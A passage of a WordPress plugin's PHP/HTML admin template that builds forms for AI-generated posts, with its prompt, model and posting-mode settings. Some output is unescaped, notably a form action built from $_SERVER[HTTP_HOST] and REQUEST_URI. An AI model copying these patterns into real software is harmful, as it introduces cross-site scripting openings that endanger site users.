<?php echo esc_html__("Number of created sections:", 'aiomatic-automatic-ai-content-writer'); ?>  <select name="section_count" id="section_count" class="postform"> <option value="1">1</option> <option value="2" selected>2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="13">13</option> <option value="14">14</option> <option value="15">15</option> <option value="16">16</option> <option value="17">17</option> <option value="18">18</option> <option value="19">19</option> <option value="20">20</option> </select>  <input type="button" name="generate_sections" id="generate_sections" class="button button-primary button-large" value="Generate Sections"> </div> <textarea rows="5" name="post_sections" size="30" value="" id="post_sections" spellcheck="true" autocomplete="off" placeholder="Post Sections" class="coderevolution_gutenberg_input"></textarea> </div> <div class="inside"> <div id="gen-slug-box" class="hide-if-no-js"> </div> </div></div><!-- /gendiv --> <hr/> <h2 class="top_heading"><?php echo esc_html__("Post Content", 'aiomatic-automatic-ai-content-writer'); ?></h2> <div class="aiomatic-minor-publishing-actions"> <?php echo esc_html__("Number of paragraphs per section:", 'aiomatic-automatic-ai-content-writer'); ?>  <select name="paragraph_count" id="paragraph_count" class="postform"> <option value="1">1</option> <option value="2">2</option> <option value="3" selected>3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="13">13</option> <option value="14">14</option> <option value="15">15</option> <option value="16">16</option> <option value="17">17</option> <option value="18">18</option> <option value="19">19</option> <option value="20">20</option> <option value="21">21</option> <option value="22">22</option> <option value="23">23</option> <option value="24">24</option> <option value="25">25</option> <option value="26">26</option> <option value="27">27</option> <option value="28">28</option> <option value="29">29</option> <option value="30">30</option> </select>  <input type="button" name="generate_paragraphs" id="generate_paragraphs" class="button button-primary button-large" value="Generate Content"> </div> <?php $settings = array( 'textarea_name' => 'post_content', 'media_buttons' => true, 'quicktags' => true, 'tabindex' => '4' ); wp_editor( '', 'post_content', $settings ); wp_nonce_field( 'create_post', 'create_post_nonce' ); ?> <div id="excdiv"> <div id="excwrap"> <hr/> <h2 class="top_heading"><?php echo esc_html__("Post Excerpt", 'aiomatic-automatic-ai-content-writer'); ?></h2> <div class="aiomatic-minor-publishing-actions"> <input type="button" name="generate_excerpt" id="generate_excerpt" class="button button-primary button-large" value="Generate Excerpt"> </div> <textarea rows="5" name="post_excerpt" size="30" value="" id="post_excerpt" spellcheck="true" autocomplete="off" placeholder="Post Excerpt" class="coderevolution_gutenberg_input"></textarea> </div> <div class="inside"> <div id="exc-slug-box" class="hide-if-no-js"> </div> </div></div><!-- /excdiv --> <div id="postcustom" class="postbox"> <div class="postbox-header"><h2 class="top_heading"><?php echo esc_html__("Custom Fields", 'aiomatic-automatic-ai-content-writer');?></h2> </div><div class="inside"> <div id="postcustomstuff"> <div id="ajax-response"></div> <table id="list-table-added"> <thead> <tr> <th class="left"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Value", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody > </tbody> </table> <table id="list-table" class="cr_none"> <thead> <tr> <th class="left"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Value", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> <tr><td></td></tr> </tbody> </table><p><strong><?php echo esc_html__("Add New Custom Field:", 'aiomatic-automatic-ai-content-writer');?></strong></p> <table id="newmeta"> <thead> <tr> <th class="left"><label for="metakeyselect"><?php echo esc_html__("Name", 'aiomatic-automatic-ai-content-writer');?></label></th> <th><label for="metavalue"><?php echo esc_html__("Value", 'aiomatic-automatic-ai-content-writer');?></label></th> </tr> </thead> <tbody> <tr> <td id="newmetaleft" class="left"> <input type="text" id="metakeyinput" name="metakeyinput" value="" aria-label="<?php echo esc_html__("New custom field name", 'aiomatic-automatic-ai-content-writer');?>"> </td> <td><textarea id="metavalue" name="metavalue" rows="1" cols="25"></textarea></td> </tr> </tbody> </table> <div class="add-custom-field"> <input type="button" name="addmeta" id="newmeta-submit" class="button" value="<?php echo esc_html__("Add Custom Field", 'aiomatic-automatic-ai-content-writer');?>" onclick="addAiCustomField();">  <input type="button" name="addmeta" id="generate_custom" class="generate_custom button cr_right" value="<?php echo esc_html__("Generate AI Content", 'aiomatic-automatic-ai-content-writer');?>" onclick="addAiCustomFieldContent('');"></div> </div> </div> </div> <!-- /postcustom --> <div id="publishdiv"> <div id="publishwrap"> <hr/> <div id="major-publishing-actions"> <div class="coderevolution_gutenberg_input" id="publishing-action"> <span class="spinner"></span> <input type="submit" name="publish" id="post_publish" class="coderevolution_gutenberg_input button button-primary button-large" value="Create Post" disabled> </div> <div class="clear"></div> </div> </div> <div class="inside"> <div id="publish-slug-box" class="hide-if-no-js"> </div> </div></div><!-- /publishdiv --> <br/><br/> <div id="templdiv"> <div id="templwrap"> <hr/> <h2 class="top_heading"><div class="tool" data-tip="Save or load your templates for content creation. These templates will be stored and accessible only from your user account."><?php echo esc_html__("Express Content Templates", 'aiomatic-automatic-ai-content-writer'); ?> ⍰</div></h2> <div class="aiomatic-minor-publishing-actions"> <input type="button" name="save_template" id="save_template" onclick="aiomatic_save_template()" class="button button-primary button-large" value="Save New Template">  <input type="button" name="load_template" id="load_template" onclick="aiomatic_load_template()" class="button button-primary button-large" value="Load Selected Template">  <input type="button" name="delete_template" id="delete_template" onclick="aiomatic_delete_template()" class="button button-primary button-large" value="Delete Selected Template">  <input type="button" name="import_template" id="import_template" onclick="aiomatic_import_template()" class="button button-primary button-large" value="Import Templates From File">  <input type="button" name="export_template" id="export_template" onclick="aiomatic_export_template()" class="button button-primary button-large" value="Export Templates To File">  <input type="file" id="import_template_file" name="import_template_file" class="cr_none" accept=".json" /> </div> <select class="coderevolution_gutenberg_input" id="template_manager"> <option value="Default Template"><?php echo esc_html__("Default Template", 'aiomatic-automatic-ai-content-writer');?></option> <?php $user_id = get_current_user_id(); if($user_id == 0) { aiomatic_log_to_file('No user logged in, cannot find templates!'); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(is_array($aiomatic_templates)) { foreach($aiomatic_templates as $tn => $template_name) { echo '<option value="' . $tn . '">' . $tn . '</option>'; } } } ?> </select> </div> </div><!-- /templdiv --> <div id="tutordiv"> <div id="tutorwrap"> <hr/> <h2 class="top_heading"><div><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer'); ?></div></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/3W-UGm7pbsU" frameborder="0" allowfullscreen></iframe></div></p> </div> </div><!-- /tutordiv --> </div><!-- /post-body-content --> <div id="postbox-container-1" class="postbox-container"> <div id="side-sortables" class="meta-box-sortables ui-sortable"> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><?php echo esc_html__("Topic", 'aiomatic-automatic-ai-content-writer');?></h2> </div><div class="inside"> <div class="submitbox" id="submitpost"> <div id="minor-publishing"> <p class="aiomatic-middle"><?php echo esc_html__("To get started, you can enter a topic here and start generating the title & content!", 'aiomatic-automatic-ai-content-writer');?></p> <div class="aiomatic-minor-publishing-actions"> <textarea rows="5" id="aiomatic_topics" onkeyup="aiomatic_all_empty();" class="coderevolution_gutenberg_input" placeholder="The main topic of the content"></textarea> <div class="clear"></div> <p><input type="button" name="generate_title" id="generate_title" class="coderevolution_gutenberg_input button button-primary button-large" value="Generate Title"></p> <p><input type="button" name="generate_all" id="generate_all" class="coderevolution_gutenberg_input button button-primary button-large" value="Generate All"></p> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><div class="tool" data-tip="Set the general parameters for your generated content."><?php echo esc_html__("Post Options", 'aiomatic-automatic-ai-content-writer');?> ⍰ </div></h2> </div><div class="inside"> <div class="submitbox" id="otherpost"> <div id="other-publishing"> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Set the post type."><?php echo esc_html__("Post Type", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="submit_type" name="submit_type" class="coderevolution_gutenberg_input"> <?php foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; echo '>' . esc_html($post_type) . '</option>'; } ?> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post status."><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="submit_status" name="submit_status" class="coderevolution_gutenberg_input"> <option value="draft" selected><?php echo esc_html__("Draft", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pending"><?php echo esc_html__("Pending", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish"><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Stick this post to the front page."><?php echo esc_html__("Sticky", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="post_sticky" name="post_sticky" class="coderevolution_gutenberg_input"> <option value="no"><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> <option value="yes"><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post author."><?php echo esc_html__("Author", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $curruser = get_current_user_id(); wp_dropdown_users(['class' => 'coderevolution_gutenberg_input', 'id' => 'post_author', 'name' => 'post_author', 'selected' => $curruser, 'role__in' => array('administrator', 'editor', 'author', 'contributor')]); ?> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post publish date."><?php echo esc_html__("Publish Date", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $date1x = new DateTime('now', aiomatic_get_blog_timezone()); ?> <input type="datetime-local" id="post_date" name="post_date" value="<?php echo $date1x->format('Y-m-d H:i:s'); ?>" class="coderevolution_gutenberg_input" /> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the post categories."><?php echo esc_html__("Post Categories", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <?php $default_category = get_option('default_category'); $args = array( 'orderby' => 'name', 'hide_empty' => 0, 'echo' => 0, 'class' => 'coderevolution_gutenberg_input', 'id' => 'post_category', 'name' => 'post_category', 'selected' => $default_category ); $select_cats = wp_dropdown_categories($args); $select_cats = str_replace( "name='post_category'", "name='post_category[]' multiple='multiple'", $select_cats ); $select_cats = str_replace( 'name="post_category"', 'name="post_category[]" multiple="multiple"', $select_cats ); echo $select_cats; ?> <div class="clear"></div><div class="cr-align-left"> <div class="tool" data-tip="Set the post tags."><?php echo esc_html__("Post Tags", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input id="post_tags" name="post_tags" type="text" list="post_tags_list" class="coderevolution_gutenberg_input" value="" placeholder="Tag list"/> <datalist id="post_tags_list"> <?php $xtags = get_tags(array( 'hide_empty' => false )); if(!is_wp_error($xtags)) { foreach ($xtags as $tag) { echo '<option>' . $tag->name . '</option>'; } } ?> </datalist> <small class="cr-align-left coderevolution_gutenberg_input"><?php echo esc_html__("Separate tags with commas", 'aiomatic-automatic-ai-content-writer');?></small> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><?php echo esc_html__("Featured Image", 'aiomatic-automatic-ai-content-writer');?></h2> </div><div class="inside"> <div class="submitbox" id="submitpost"> <div id="minor-publishing"> <div class="aiomatic-minor-publishing-actions"> <?php $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image"/></div>'; echo $image; ?> <input type="hidden" name="aiomatic_image_id" id="aiomatic_image_id" value="" class="regular-text" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an image', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager"/> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><div class="tool" data-tip="Set the general parameters for your generated content."><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?> ⍰ </div></h2> </div><div class="inside"> <div class="submitbox" id="otherpost"> <div id="other-publishing"> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Set the language of the created content."><?php echo esc_html__("Language", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input id="language" name="language" type="text" list="languages" class="coderevolution_gutenberg_input" value="English" placeholder="Language"/> <datalist id="languages"> <?php foreach($language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the writing style for the created content."><?php echo esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input id="writing_style" name="writing_style" type="text" list="writing_styles" class="coderevolution_gutenberg_input" value="Creative" placeholder="Style"/> <datalist id="writing_styles"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Set the writing tone for the created content."><?php echo esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input id="writing_tone" name="writing_tone" type="text" list="writing_tones" class="coderevolution_gutenberg_input" value="Neutral" placeholder="Tone"/> <datalist id="writing_tones"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><div class="tool" data-tip="General settings which will change the text generator behaviour."><?php echo esc_html__("Model Settings", 'aiomatic-automatic-ai-content-writer');?> ⍰ </div></h2><div class="paddings_cr"><input type="button" name="aiomatic_toggle_model" id="aiomatic_toggle_model" onclick="aiomatic_call_func()" class="button button-primary button-large" value="Show"></div> </div><div id="model_holder" class="inside cr_display_none"> <div class="submitbox" id="otherpost"> <div id="other-publishing"> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Higher values means the model will take more risks. Between 0 and 1."><?php echo esc_html__("Temperature", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input type="number" min="0" max="2" step="0.01" name="temperature" id="temperature" class="coderevolution_gutenberg_input" value="1" placeholder="Temperature"> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Higher values means the model will generate more content. Accepted ranges vary based on selected AI model max token count."><?php echo esc_html__("Max Tokens", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <input type="number" min="1" max="128000" step="1" name="max_tokens" id="max_tokens" class="coderevolution_gutenberg_input" value="4000" placeholder="Max Tokens"> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Select the AI Assistant you wish to use for the content creator."><?php echo esc_html__("Model", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="assistant_id_single" name="assistant_id_single" onchange="singleAssistantChanged();" class="coderevolution_gutenberg_input"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> <div class="clear"></div> <div class="cr-align-left"> <div class="tool" data-tip="Select the AI model you wish to use for the content creator."><?php echo esc_html__("Model", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="model" name="model" class="disableAssistantsDynamic coderevolution_gutenberg_input"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> <div class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><div class="tool" data-tip="Enter your prompts, based on which each part of the content will be edited."><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?> ⍰ </div></h2><div class="paddings_cr"><input type="button" name="aiomatic_toggle_prompt" id="aiomatic_toggle_prompt" onclick="aiomatic_prompt_func()" class="button button-primary button-large" value="Show"></div> </div><div id="prompt_holder" class="inside cr_display_none"> <div class="submitbox" id="submitpost"> <div id="prompt-publishing"> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Prompt to be used for the Post Title. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%"><b><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <textarea rows="6" id="prompt_title" placeholder="The prompt to be used for the title generator" class="coderevolution_gutenberg_input">Write a title for an article about "%%topic%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> <div class="clear"></div> </div> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Prompt to be used for the Post Sections. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%"><b><?php echo esc_html__("Sections", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <textarea rows="6" id="prompt_sections" placeholder="The prompt to be used for the sections generator" class="coderevolution_gutenberg_input">Write %%sections_count%% consecutive headings for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> <div class="clear"></div> </div> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Prompt to be used for the Post Content. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%paragraphs_per_section%%"><b><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <textarea rows="6" id="prompt_content" placeholder="The prompt to be used for the content generator" class="coderevolution_gutenberg_input">Write an article about "%%title%%" in %%language%%. The article is organized by the following headings: %%sections%% Write %%paragraphs_per_section%% paragraphs per heading. Use HTML for formatting, include h2 tags, h3 tags, lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). Table data must be relevant, creative, short and simple. Add an introduction and a conclusion. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> <div class="clear"></div> </div> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Select if you want to run the above prompt for each section separately or only once for the entire content. Note that changing this settings will automatically change the value of the 'Content Prompt' settings field from above."><?php echo esc_html__("Run The Content Prompt Separately For Each Section", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <select id="content_gen_type" name="content_gen_type" onchange="content_gen_changed();" class="coderevolution_gutenberg_input"> <option value="no"><?php echo esc_html__("No", 'aiomatic-automatic-ai-content-writer');?></option> <option value="yes"><?php echo esc_html__("Yes", 'aiomatic-automatic-ai-content-writer');?></option> </select> <div class="clear"></div> </div> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%"><b><?php echo esc_html__("Excerpt", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <textarea rows="6" id="prompt_excerpt" placeholder="The prompt to be used for the excerpt generator" class="coderevolution_gutenberg_input">Write an excerpt for an article about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.</textarea> <div class="clear"></div> </div> <div class="aiomatic-minor-publishing-actions"> <div class="cr-align-left"> <div class="tool" data-tip="Prompt to be used for the Post Custom Fields. You can use the following shortcodes: %%meta_title%%, %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%"><b><?php echo esc_html__("Custom Fields", 'aiomatic-automatic-ai-content-writer');?></b> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?>: ⍰ </div> </div> <textarea rows="6" id="prompt_custom" placeholder="The prompt to be used for the custom field generator" class="coderevolution_gutenberg_input">Write the content of a WordPress custom field with title: "%%meta_title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.</textarea> <div class="clear"></div> </div> <div class="clear"></div> </div> </div> </div> </div> </div></div> </div><!-- /post-body --> <br class="clear"> </div></form><!-- /poststuff --> </div> <div id="tab-1" class="tab-content"> <h1 class="wp-heading-inline"> <?php echo esc_html__("Advanced Mode", 'aiomatic-automatic-ai-content-writer'); ?></h1> <hr class="wp-header-end"> <form name="aiomatic-single-post-advanced" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>" method="post" id="aiomatic-single-post-advanced"> <div id="poststuff"> <div id="post-body" class="metabox-holder columns-2"> <div id="post-body-content"> <div id="modediv"> <div id="postbox-container-2" class="postbox-container"> <div id="side-sortables-2" class="meta-box-sortables ui-sortable"> <div id="settingsbox" class="postbox"> <div class="postbox-header"><h2 class="hndle ui-sortable-handle"><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="inside"> <div id="modewrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Posting Mode", 'aiomatic-automatic-ai-content-writer'); ?></b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the posting mode you want to use. This will be equivalent with the posting modes available in the plugins Bulk Post Creator menu.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <select onchange="postingModeChanged();" name="posting_mode_changer_name" id="posting_mode_changer" class="aiomatic-important coderevolution_gutenberg_input"> <option value="1a" selected><?php echo esc_html__("Topic Based Post (Multiple API Calls) - Enter Topic", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="1a-"><?php echo esc_html__("Topic Based Post (Multiple API Calls) - Enter Title", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="1b"><?php echo esc_html__("Title Based Post (Single API Calls)", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="6"><?php echo esc_html__("Listicle Post", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="2"><?php echo esc_html__("YouTube Video To Post", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="3"><?php echo esc_html__("Amazon Product Roundup", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="4"><?php echo esc_html__("Amazon Product Review", 'aiomatic-automatic-ai-content-writer'); ?></option> <option value="5"><?php echo esc_html__("CSV To Post", 'aiomatic-automatic-ai-content-writer'); ?></option> </select> </p> <div class="inside"> </div></div><!-- /modediv --> <div id="topicdiv"> <div id="topicwrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Post Topic List", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Be sure to edit the 'Title Prompt' settings from the advanced settings to change the way titles will be created! Enter a post topic list, one on each line. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_topics_list" class="coderevolution_gutenberg_input" placeholder="The main topic of the content"></textarea> </p> </div> <div class="inside"> </div></div><!-- /topicdiv --> <div id="listiclediv"> <div id="topicwrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Listicle Topic List", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Be sure to edit the 'Title Prompt' settings from the advanced settings to change the way titles will be created! Enter a post topic list, one on each line. If you enter multiple topics (one per line), a random topic will be selected at each run. This will set the value of the %%topic%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_listicle_list" class="coderevolution_gutenberg_input" placeholder="The main topic of the listicle"></textarea> </p> </div> <div class="inside"> </div></div><!-- /listiclediv --> <div id="inputtitlediv" class="cr_display_none"> <div id="inputtitlewrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("Post Title List / TXT File URL / RSS Feed URL", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input your desired post titles (one per line), a TXT file with titles (one per line) or a RSS feed URL. The plugin will select a random post title at each run. Nested spintax supported. You can also enter RSS feed URLs, from where the plugin will extract a random post title, each time it runs. If you set a RSS feed URL, an item will be randomly selected from the title/description/content of the RSS feed contents - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_titles" class="coderevolution_gutenberg_input" placeholder="Post title"></textarea> </p> </div> <div class="inside"> </div></div><!-- /inputtitlediv --> <div id="youtubediv" class="cr_display_none"> <div id="youtubewrap"> <h2 class="top_heading cr_align_middle"><b><?php echo esc_html__("YouTube Video URLs", 'aiomatic-automatic-ai-content-writer'); ?>*</b>  <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please provide the URLs to the YouTube videos (one per line). You can also enter a YouTube handle URL (channel or user), example: https://www.youtube.com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the plugin's 'Settings' menu, this will list all recent videos from this specific YouTube channel. Otherwise, it will list videos which appear also on the featured page of the channel. Videos added here must be public and have captions available (uploaded or auto generated). In case auto generated captions are used, the quality of the created article might be lower. Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <p class="aiomatic-margin10"> <textarea rows="5" id="aiomatic_youtube" class="coderevolution_gutenberg_input" placeholder="YouTube URL"></textarea> </p> </div> <div class="inside"> </div></div><!-- /youtubediv --> <div id="roundupdiv" class="cr_display_none"> <div id="roundupwrap"> <h2 class="top_heading 